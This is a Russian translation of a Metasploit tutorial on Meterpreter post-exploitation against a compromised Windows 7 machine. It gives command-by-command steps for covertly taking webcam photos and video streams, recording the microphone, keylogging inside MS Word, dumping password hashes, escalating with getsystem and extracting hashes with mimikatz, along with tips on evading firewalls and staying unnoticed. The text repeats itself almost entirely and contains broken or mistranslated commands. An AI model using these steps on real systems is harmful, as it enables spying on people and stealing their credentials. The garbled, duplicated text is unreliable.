Добро пожаловать обратно, мои начинающие хакеры!
По мере изучения этой серии статей по основам Metasploit мы использовали многочисленные методы для эксплуатации вашей целевой системы, в том числе:
1. Эксплойты SMB ( например, EternalBlue и MS08_067);
2. Формат файла (ms14-0440_sandworm, office_word_hta );
3. Браузерные эксплойты (autopwn, Abobe Flash и многие другие);
4. Набор инструментов социальной инженерии (SET);
Пользовательские полезные нагрузки с msfvenom ;
и многие другие.
Эксплуатация цели — это только начало веселья! Получив контроль над системой, мы переходим к фазе пост-эксплуатации, и вот тут-то мы и можем сеять хаос! В терминах Metasploit модули, предназначенные для пост-эксплуатации, называются просто « пост» .
В этом уроке мы рассмотрим несколько интересных вещей, которые можно сделать в системе после успешного ее взлома, в том числе:
1. Проверка времени простоя
2. Включение и съемка фотографий с веб-камеры, а также потоковая трансляция с веб-камеры
3. Включение системного микрофона для прослушивания
4. Получите хеши паролей.
5. Используйте Mimikatz для сбора большого количества информации из целевой системы.
Метрпредер
При эксплуатации уязвимости с помощью Metasploit у нас появляется гораздо больше возможностей для последующей эксплуатации, если использовать полезную нагрузку Meterpreter. Meterpreter — это гораздо больше, чем просто оболочка командной строки. Он обладает дополнительными функциями, которые не может воспроизвести ни одна простая оболочка.
Meterpreter — это продвинутая полезная нагрузка, которая использует внедрение DLL для работы исключительно в памяти (не оставляя следов на жёстком диске). Эта специальная полезная нагрузка содержит большой набор встроенных команд и скриптов. Полный обзор этих команд и скриптов см. в следующих публикациях на Hackers-Arise.
Полный список скриптов Meterpreter
Полный список команд Meterpreter
Не все команды и скрипты будут работать с Meterpreter в любой операционной системе. Многие из них предназначены только для использования в системах Windows.
Типы полезной нагрузки Meterpreter
Meterpreter — это не просто единая полезная нагрузка. Существует множество полезных нагрузок Meterpreter, обычно по одной для каждого типа операционной системы или целевой платформы. Кроме того, вы можете выбрать Meterpreter, подключающиеся по чистому TCP-соединению, HTTP или HTTPS. Во многих случаях, чтобы обойти ограничения брандмауэра на исходящий трафик, необходимо использовать Meterpreter по HTTP или HTTPS, при этом соединение будет выглядеть как обычный исходящий интернет-трафик и, скорее всего, будет пропущено.
Чтобы найти эти Meterpreter, можно воспользоваться функцией поиска в Metasploit, отфильтровав данные по типу модуля (type
ayload), платформе (platform:windows) и содержащему ключевое слово meterpreter. После нажатия Enter мы увидим результаты ниже.
msf > тип поиска: полезная нагрузка платформа: windows meterpreter
Как видите выше, существует бесчисленное множество полезных нагрузок meterpreter. Я выделил три, которые работают с 64-разрядными версиями Windows и подключаются по чистому TCP-соединению, HTTP (порт 80) и HTTPS (порт 443).
Шаг №1. Изучите модули постов
После того, как мы проэксплуатируем систему, мы можем начать использовать команды и модули постэксплуатации. Эти модули постэксплуатации можно найти, снова воспользовавшись функцией поиска и отфильтровав модуль по типу «post».
msf > тип поиска: сообщение
Если говорить более конкретно, мы можем отфильтровать те из них, которые могут использоваться на скомпрометированной системе Windows.
msf> тип поиска: сообщение платформа: windows
Помимо этих модулей пост-эксплуатации, meterpreter позволяет использовать railgun — функцию пост-эксплуатации, которая позволяет управлять Windows API целевой машины. Далее в этой серии я расскажу ещё об одном руководстве по railgun — «Основы Metasploit».
Теперь, когда мы немного познакомили вас с полезной нагрузкой meterpreter, давайте рассмотрим некоторые вещи, которые мы можем с ней сделать.
Здесь мы предположим, что мы эксплуатируем систему Windows 7 с EternalBlue.
Шаг №2 Время простоя
Часто одним из первых действий, которое мы хотим сделать, является определение времени бездействия системы. Это даст нам представление о том, работает ли кто-нибудь в данный момент за компьютером.
meterpreter > idletim
Как видите, пользователь бездействовал в этой системе всего 7 минут 44 секунды. Это, вероятно, означает, что он где-то поблизости. При использовании стандартного meterpreter вы практически невидимы для пользователя, поэтому не стоит беспокоиться об обнаружении (VNC-полезные данные требуют использования мыши, и это, очевидно, будет замечено пользователем в его системе).
Шаг №2. Доступ к веб-камере
После взлома системы с помощью EternalBlue мы получаем права системного администратора (GUID=500), что означает полный доступ к компьютеру. Это значит, что мы можем делать практически всё, что захотим.
Предположим, мы хотим периодически делать снимки с веб-камеры пользователя. Первым шагом будет использование команды meterpreter webcam_list для определения наличия веб-камер в системе.
meterpreter > webcam_list
Как мы видим, в этой системе всего одна веб-камера «HP Truevision HD».
Далее нам просто нужно использовать другую команду meterpreter, webcam_snap , чтобы делать снимки с веб-камеры взломанной системы.
meterpreter > webcam_snap
Если в системе несколько веб-камер, мы можем указать, с какой из них нужно захватить видео, используя ключ -i, а затем номер веб-камеры. Например, если мы хотим захватить видео с веб-камеры №2, мы должны ввести:
meterpreter > webcam_snap -i 2
После создания снимка Meterpreter сохраняет изображение в файле со случайным именем, заканчивающимся на .jpeg. Если злоумышленник окажется за своим компьютером, вы получите его фотографию. Теперь вам нужно открыть эту фотографию в графическом или фоторедакторе вашей атакующей системы.
Давайте откроем этот .jpeg и посмотрим, кто находится в этой системе.
Похоже, вам очень повезло!
А еще лучше — мы можем заставить веб-камеру транслировать нам видео.
meterpreter > webcam_stream
После выполнения команды Meterpreter откроет ваш веб-браузер по умолчанию и будет транслировать видео с веб-камеры цели на вашу систему.
Шаг №3: Установите жучок на их компьютер (послушайте микрофон)
Помимо создания снимков с веб-камеры, вы также можете включить встроенный микрофон системы и прослушивать разговоры в зоне его досягаемости. В Meterpreter для этого также есть встроенная команда record_mic .
meterpreter > record_mic
Как вы можете видеть, когда мы запускаем эту команду, она записывает окружающие звуки возле компьютера и помещает их в файл .
wav в каталоге пользователя root со случайным именем файла.
Эта команда meterpreter имеет множество полезных опций. Например:
-d : количество секунд для записи (по умолчанию = 1)
-f : Путь к wav-файлу.
-p : Автоматически воспроизводить захваченный звук, по умолчанию «true».
Теперь мы можем создать полезную команду, которая записывает 10 секунд звука, создает файл .wav с именем spyaudio.wav и автоматически воспроизводит звук через динамики вашей системы.
meterpreter > record_mic -d 10 -f spyaudio.wav -p true
Шаг №4
Хотя meterpreter не так эффективен, как аппаратный кейлоггер, он может установить в системе программный кейлоггер для записи всех нажатий клавиш в одном приложении. Ключевым моментом является то, что мы можем фиксировать нажатия клавиш только одного процесса или приложения одновременно.
Для этого нам необходимо переместить (мигрировать) meterpreter в процесс, где, как мы ожидаем, целевой объект будет вводить данные. Это может быть веб-браузер, MS Word, Outlook и т. д.
Для начала нам нужно узнать идентификатор процесса приложения. В оболочке meterpreter можно просто ввести команду ps . Это выведет список всех запущенных процессов, подобно тому, как команда ps работает в Linux.
meterpreter > ps
После того как вы определили приложение, в котором вы хотите разместить свой кейлоггер, вам нужно перенести meterpreter в этот процесс.
meterpreter > миграция 2308
Как вы видите, мы перешли на процесс 2308 (у вас он, скорее всего, будет другим), в данном случае это MS Word.
Далее запускаем кейлоггер командой keyscan_start .
meterpreter > keyscan_start
Теперь кейлоггер запущен и помещает все нажатия клавиш из этого приложения в буфер (нажатия клавиш включают все символы, включая возврат, возврат на одну позицию и т. д.).
Когда мы хотим восстановить нажатия клавиш, мы просто используем команду keyscan_dump .
meterpreter >keyscan_dump
Похоже, у него недобрые намерения!
Шаг №4. Сброс хэшей системных паролей.
Как только мы войдем в систему с правами системного администратора, мы также получим доступ ко всем хешам паролей в системе. В meterpreter есть простой способ сделать это, просто введя команду hashdump .
msf > хэшдамп
Как видите, целевая система вывела все хеши паролей на мой экран. Конечно, нам всё равно придётся взломать эти хеши с помощью инструмента, например, Hashcat.
Шаг №5. Доступ к системной информации и паролям с помощью mimikatz
Mimikatz был разработан gentile kiwi как отдельная программа для извлечения ключевой информации из оперативной памяти работающей системы. Несколько лет назад он был портирован для Metasploit в качестве постэксплуатационного модуля, чтобы мы могли делать то же самое после эксплуатации уязвимости.
Первый шаг — убедиться, что у нас есть права системного администратора. Если нет, можно воспользоваться командой meterpreter getsystem для повышения привилегий.
meterpreter > getsystem
Чтобы убедиться, что у нас есть права администратора, мы можем запросить систему с помощью getuid
meterpreter > getuid
Теперь, когда мы уверены, что имеем права системного администратора на целевой системе, мы можем загрузить mimikatz .
meterpreter > загрузить mimikatz
Далее переходим к экрану справки.
meterpreter > help mimikatz
Теперь мы можем получить хеши паролей, выполнив команду.
meterpreter > mimikatz_command -f samdump::hashes
Более подробную информацию о mimikatz можно найти в моей статье о mimikatz здесь.
Заключение
Как только мы скомпрометируем систему с помощью Metasploit и полезной нагрузки meterpreter, начинается самое интересное! Это бесчисленное множество команд meterpreter и модулей постэксплуатации, которые мы можем использовать для управления целевой системой и манипулирования ею.
По мере изучения этой серии статей по основам Metasploit мы использовали многочисленные методы для эксплуатации вашей целевой системы, в том числе:
1. Эксплойты SMB ( например, EternalBlue и MS08_067);
2. Формат файла (ms14-0440_sandworm, office_word_hta );
3. Браузерные эксплойты (autopwn, Abobe Flash и многие другие);
4. Набор инструментов социальной инженерии (SET);
Пользовательские полезные нагрузки с msfvenom ;
и многие другие.
Эксплуатация цели — это только начало веселья! Получив контроль над системой, мы переходим к фазе пост-эксплуатации, и вот тут-то мы и можем сеять хаос! В терминах Metasploit модули, предназначенные для пост-эксплуатации, называются просто « пост» .
В этом уроке мы рассмотрим несколько интересных вещей, которые можно сделать в системе после успешного ее взлома, в том числе:
1. Проверка времени простоя
2. Включение и съемка фотографий с веб-камеры, а также потоковая трансляция с веб-камеры
3. Включение системного микрофона для прослушивания
4. Получите хеши паролей.
5. Используйте Mimikatz для сбора большого количества информации из целевой системы.
Метрпредер
При эксплуатации уязвимости с помощью Metasploit у нас появляется гораздо больше возможностей для последующей эксплуатации, если использовать полезную нагрузку Meterpreter. Meterpreter — это гораздо больше, чем просто оболочка командной строки. Он обладает дополнительными функциями, которые не может воспроизвести ни одна простая оболочка.
Meterpreter — это продвинутая полезная нагрузка, которая использует внедрение DLL для работы исключительно в памяти (не оставляя следов на жёстком диске). Эта специальная полезная нагрузка содержит большой набор встроенных команд и скриптов. Полный обзор этих команд и скриптов см. в следующих публикациях на Hackers-Arise.
Полный список скриптов Meterpreter
Полный список команд Meterpreter
Не все команды и скрипты будут работать с Meterpreter в любой операционной системе. Многие из них предназначены только для использования в системах Windows.
Типы полезной нагрузки Meterpreter
Meterpreter — это не просто единая полезная нагрузка. Существует множество полезных нагрузок Meterpreter, обычно по одной для каждого типа операционной системы или целевой платформы. Кроме того, вы можете выбрать Meterpreter, подключающиеся по чистому TCP-соединению, HTTP или HTTPS. Во многих случаях, чтобы обойти ограничения брандмауэра на исходящий трафик, необходимо использовать Meterpreter по HTTP или HTTPS, при этом соединение будет выглядеть как обычный исходящий интернет-трафик и, скорее всего, будет пропущено.
Чтобы найти эти Meterpreter, можно воспользоваться функцией поиска в Metasploit, отфильтровав данные по типу модуля (type
msf > тип поиска: полезная нагрузка платформа: windows meterpreter
Как видите выше, существует бесчисленное множество полезных нагрузок meterpreter. Я выделил три, которые работают с 64-разрядными версиями Windows и подключаются по чистому TCP-соединению, HTTP (порт 80) и HTTPS (порт 443).
Шаг №1. Изучите модули постов
После того, как мы проэксплуатируем систему, мы можем начать использовать команды и модули постэксплуатации. Эти модули постэксплуатации можно найти, снова воспользовавшись функцией поиска и отфильтровав модуль по типу «post».
msf > тип поиска: сообщение
Если говорить более конкретно, мы можем отфильтровать те из них, которые могут использоваться на скомпрометированной системе Windows.
msf> тип поиска: сообщение платформа: windows
Помимо этих модулей пост-эксплуатации, meterpreter позволяет использовать railgun — функцию пост-эксплуатации, которая позволяет управлять Windows API целевой машины. Далее в этой серии я расскажу ещё об одном руководстве по railgun — «Основы Metasploit».
Теперь, когда мы немного познакомили вас с полезной нагрузкой meterpreter, давайте рассмотрим некоторые вещи, которые мы можем с ней сделать.
Здесь мы предположим, что мы эксплуатируем систему Windows 7 с EternalBlue.
Шаг №2 Время простоя
Часто одним из первых действий, которое мы хотим сделать, является определение времени бездействия системы. Это даст нам представление о том, работает ли кто-нибудь в данный момент за компьютером.
meterpreter > idletim
Как видите, пользователь бездействовал в этой системе всего 7 минут 44 секунды. Это, вероятно, означает, что он где-то поблизости. При использовании стандартного meterpreter вы практически невидимы для пользователя, поэтому не стоит беспокоиться об обнаружении (VNC-полезные данные требуют использования мыши, и это, очевидно, будет замечено пользователем в его системе).
Шаг №2. Доступ к веб-камере
После взлома системы с помощью EternalBlue мы получаем права системного администратора (GUID=500), что означает полный доступ к компьютеру. Это значит, что мы можем делать практически всё, что захотим.
Предположим, мы хотим периодически делать снимки с веб-камеры пользователя. Первым шагом будет использование команды meterpreter webcam_list для определения наличия веб-камер в системе.
meterpreter > webcam_list
Как мы видим, в этой системе всего одна веб-камера «HP Truevision HD».
Далее нам просто нужно использовать другую команду meterpreter, webcam_snap , чтобы делать снимки с веб-камеры взломанной системы.
meterpreter > webcam_snap
Если в системе несколько веб-камер, мы можем указать, с какой из них нужно захватить видео, используя ключ -i, а затем номер веб-камеры. Например, если мы хотим захватить видео с веб-камеры №2, мы должны ввести:
meterpreter > webcam_snap -i 2
После создания снимка Meterpreter сохраняет изображение в файле со случайным именем, заканчивающимся на .jpeg. Если злоумышленник окажется за своим компьютером, вы получите его фотографию. Теперь вам нужно открыть эту фотографию в графическом или фоторедакторе вашей атакующей системы.
Давайте откроем этот .jpeg и посмотрим, кто находится в этой системе.
Похоже, вам очень повезло!
А еще лучше — мы можем заставить веб-камеру транслировать нам видео.
meterpreter > webcam_stream
После выполнения команды Meterpreter откроет ваш веб-браузер по умолчанию и будет транслировать видео с веб-камеры цели на вашу систему.
Шаг №3: Установите жучок на их компьютер (послушайте микрофон)
Помимо создания снимков с веб-камеры, вы также можете включить встроенный микрофон системы и прослушивать разговоры в зоне его досягаемости. В Meterpreter для этого также есть встроенная команда record_mic .
meterpreter > record_mic
Как вы можете видеть, когда мы запускаем эту команду, она записывает окружающие звуки возле компьютера и помещает их в файл .
wav в каталоге пользователя root со случайным именем файла.
Эта команда meterpreter имеет множество полезных опций. Например:
-d : количество секунд для записи (по умолчанию = 1)
-f : Путь к wav-файлу.
-p : Автоматически воспроизводить захваченный звук, по умолчанию «true».
Теперь мы можем создать полезную команду, которая записывает 10 секунд звука, создает файл .wav с именем spyaudio.wav и автоматически воспроизводит звук через динамики вашей системы.
meterpreter > record_mic -d 10 -f spyaudio.wav -p true
Шаг №4
Хотя meterpreter не так эффективен, как аппаратный кейлоггер, он может установить в системе программный кейлоггер для записи всех нажатий клавиш в одном приложении. Ключевым моментом является то, что мы можем фиксировать нажатия клавиш только одного процесса или приложения одновременно.
Для этого нам необходимо переместить (мигрировать) meterpreter в процесс, где, как мы ожидаем, целевой объект будет вводить данные. Это может быть веб-браузер, MS Word, Outlook и т. д.
Для начала нам нужно узнать идентификатор процесса приложения. В оболочке meterpreter можно просто ввести команду ps . Это выведет список всех запущенных процессов, подобно тому, как команда ps работает в Linux.
meterpreter > ps
После того как вы определили приложение, в котором вы хотите разместить свой кейлоггер, вам нужно перенести meterpreter в этот процесс.
meterpreter > миграция 2308
Как вы видите, мы перешли на процесс 2308 (у вас он, скорее всего, будет другим), в данном случае это MS Word.
Далее запускаем кейлоггер командой keyscan_start .
meterpreter > keyscan_start
Теперь кейлоггер запущен и помещает все нажатия клавиш из этого приложения в буфер (нажатия клавиш включают все символы, включая возврат, возврат на одну позицию и т. д.).
Когда мы хотим восстановить нажатия клавиш, мы просто используем команду keyscan_dump .
meterpreter >keyscan_dump
Похоже, у него недобрые намерения!
Шаг №4. Сброс хэшей системных паролей.
Как только мы войдем в систему с правами системного администратора, мы также получим доступ ко всем хешам паролей в системе. В meterpreter есть простой способ сделать это, просто введя команду hashdump .
msf > хэшдамп
Как видите, целевая система вывела все хеши паролей на мой экран. Конечно, нам всё равно придётся взломать эти хеши с помощью инструмента, например, Hashcat.
Шаг №5. Доступ к системной информации и паролям с помощью mimikatz
Mimikatz был разработан gentile kiwi как отдельная программа для извлечения ключевой информации из оперативной памяти работающей системы. Несколько лет назад он был портирован для Metasploit в качестве постэксплуатационного модуля, чтобы мы могли делать то же самое после эксплуатации уязвимости.
Первый шаг — убедиться, что у нас есть права системного администратора. Если нет, можно воспользоваться командой meterpreter getsystem для повышения привилегий.
meterpreter > getsystem
Чтобы убедиться, что у нас есть права администратора, мы можем запросить систему с помощью getuid
meterpreter > getuid
Теперь, когда мы уверены, что имеем права системного администратора на целевой системе, мы можем загрузить mimikatz .
meterpreter > загрузить mimikatz
Далее переходим к экрану справки.
meterpreter > help mimikatz
Теперь мы можем получить хеши паролей, выполнив команду.
meterpreter > mimikatz_command -f samdump::hashes
Более подробную информацию о mimikatz можно найти в моей статье о mimikatz здесь.
Заключение
Как только мы скомпрометируем систему с помощью Metasploit и полезной нагрузки meterpreter, начинается самое интересное! Это бесчисленное множество команд meterpreter и модулей постэксплуатации, которые мы можем использовать для управления целевой системой и манипулирования ею.